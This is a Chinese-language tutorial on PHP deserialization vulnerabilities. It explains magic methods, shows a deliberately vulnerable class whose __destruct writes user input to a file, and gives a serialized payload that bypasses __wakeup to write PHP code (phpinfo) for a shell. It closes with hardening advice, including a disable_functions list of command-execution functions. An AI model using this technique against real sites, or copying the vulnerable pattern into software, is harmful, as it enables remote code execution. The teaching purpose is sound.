反序列化漏洞
0x01. 序列化和反序列化是什么
序列化:變量轉(zhuǎn)換為可保存或傳輸?shù)淖址倪^(guò)程;
反序列化:把序列化的字符串再轉(zhuǎn)化成原來(lái)的變量使用
作用:可輕松地存儲(chǔ)和傳輸數(shù)據(jù),使程序更具維護(hù)性
0x02. 為什么會(huì)有序列化
序列化用于存儲(chǔ)或傳遞 PHP 的值的過(guò)程中,同時(shí)不丟失其類型和結(jié)構(gòu)
0x03. 序列化和反序列化代碼示例
<?php
class User
{
public $username = 'admin';
public $password = '123456';
}
// 序列化操作
$user = new User();
$str_ser = serialize($user);
echo "序列化結(jié)果為:\n";
var_dump($str_ser);
echo "反序列化結(jié)果為:\n";
// 反序列化操作
$str_uns = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";}';
$str = unserialize($str_uns);
var_dump($str);
?>
運(yùn)行結(jié)果:
序列化后的格式如下:
0x04. 魔術(shù)方法
魔術(shù)方法是PHP面向?qū)ο笾刑赜械奶匦浴K鼈冊(cè)谔囟ǖ那闆r下被觸發(fā),都是以雙下劃線開頭,你可以把它們理解為鉤子,利用模式方法可以輕松實(shí)現(xiàn)PHP面向?qū)ο笾兄剌d(Overloading即動(dòng)態(tài)創(chuàng)建類屬性和方法)
1.__construct,__destruct
__constuct構(gòu)建對(duì)象的時(shí)被調(diào)用;
__destruct明確銷毀對(duì)象或腳本結(jié)束時(shí)被調(diào)用;
2.__get,__set
__set當(dāng)給不可訪問(wèn)或不存在屬性賦值時(shí)被調(diào)用
__get讀取不可訪問(wèn)或不存在屬性時(shí)被調(diào)用
3.__isset,__unset
__isset對(duì)不可訪問(wèn)或不存在的屬性調(diào)用isset()或empty()時(shí)被調(diào)用
__unset對(duì)不可訪問(wèn)或不存在的屬性進(jìn)行unset時(shí)被調(diào)用
4.__sleep,__wakeup
__sleep當(dāng)使用serialize時(shí)被調(diào)用,當(dāng)你不需要保存大對(duì)象的所有數(shù)據(jù)時(shí)很有用
__wakeup當(dāng)使用unserialize時(shí)被調(diào)用,可用于做些對(duì)象的初始化操作
0x05. 反序列化漏洞成因
當(dāng)傳給 unserialize() 的參數(shù)可控時(shí),那么就可以注入精心構(gòu)造的payload,而當(dāng)進(jìn)行反序列化的時(shí)候就有可能會(huì)觸發(fā)對(duì)象中的一些魔術(shù)方法,造成惡意命令執(zhí)行!
0x06. 反序列化漏洞舉例
(1)測(cè)試代碼如下:
<?php
header("Content-Type:text/html;charset=utf-8");
class vFREE{
public $name='vFREE';
public $age='18';
function __wakeup(){
$this->age = "18";
echo("執(zhí)行了wakeup魔術(shù)方法<br>");
}
function __destruct(){
echo("執(zhí)行了destruct魔術(shù)方法");
$path='flag.php';
$file_get=file_put_contents($path,$this->name);
}
}
$flag = $_GET['flag'];
$unser = unserialize($flag);
?>
解釋:類外部用到了反序列化函數(shù)unserialize,但用到這個(gè)函數(shù)時(shí),就會(huì)像檢查類vFREE中有沒有__wakeup方法,有的話就執(zhí)行,沒有就跳過(guò),很明顯,代碼中有wakeup,但是wakeup的內(nèi)容就是一個(gè)賦值操作,并起不了太大的作用,反而destruct中可以利用一波,因?yàn)閐estruct中打開一個(gè)flag.php的文件,然后將$this->name的值作為內(nèi)容寫入到flag.php中,假如我們寫入一個(gè)木馬,便可以Getshell
(2)我們要傳入一個(gè)參數(shù)flag,并且將傳入的值放入反序列化函數(shù)中執(zhí)行,所以我們要傳入的應(yīng)該是一個(gè)序列化后的字符串,此時(shí)我們應(yīng)該類vFREE進(jìn)行序列化,代碼如下:
<?php
class vFREE{
public $name='vFREE';
public $age='18';
function __wakeup(){
$this->age = "18";
}
function __destruct(){
$path='flag.php';
$file_get=file_put_contents($path,$this->name);
}
}
$test = new vFREE();
$str = serialize($test);
var_dump($str);
?>
得到序列化后的結(jié)果:O:5:"vFREE":2:{s:4:"name";s:5:"vFREE";s:3:"age";s:2:"18";}
(3)繞過(guò)wakeup方法:
繞過(guò)wakeup方法,直接執(zhí)行destruct寫入shell:
更改原有屬性值達(dá)到繞過(guò)過(guò)wakeup的效果,此時(shí)的類中屬性值是2,我們只要將屬性值改為大于2,即可繞過(guò),如下改成5,便可以繞過(guò):
O:5:"vFREE":5:{s:4:"name";s:18:"<?php phpinfo();?>";s:3:"age";s:2:"18";}
(4)傳入惡意payload,成功創(chuàng)建flag.php
(5)查看生成的flag.php,利用成功
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-459660.html
0x07. 反序列化漏洞預(yù)防文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-459660.html
(1)安全配置好php相關(guān)參數(shù)
通過(guò)Php配置文件里面有個(gè)disable_functions = 配置
這個(gè)禁止某些php函數(shù),服務(wù)器便是用這個(gè)來(lái)禁止php的執(zhí)行命令函數(shù)
#禁止這些函數(shù)來(lái)執(zhí)行系統(tǒng)命令
例:disable_functions =system,passthru,shell_exec,exec,popen
(2)嚴(yán)格控制傳入變量,嚴(yán)謹(jǐn)使用魔法函數(shù)
到了這里,關(guān)于反序列化漏洞(PHP)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!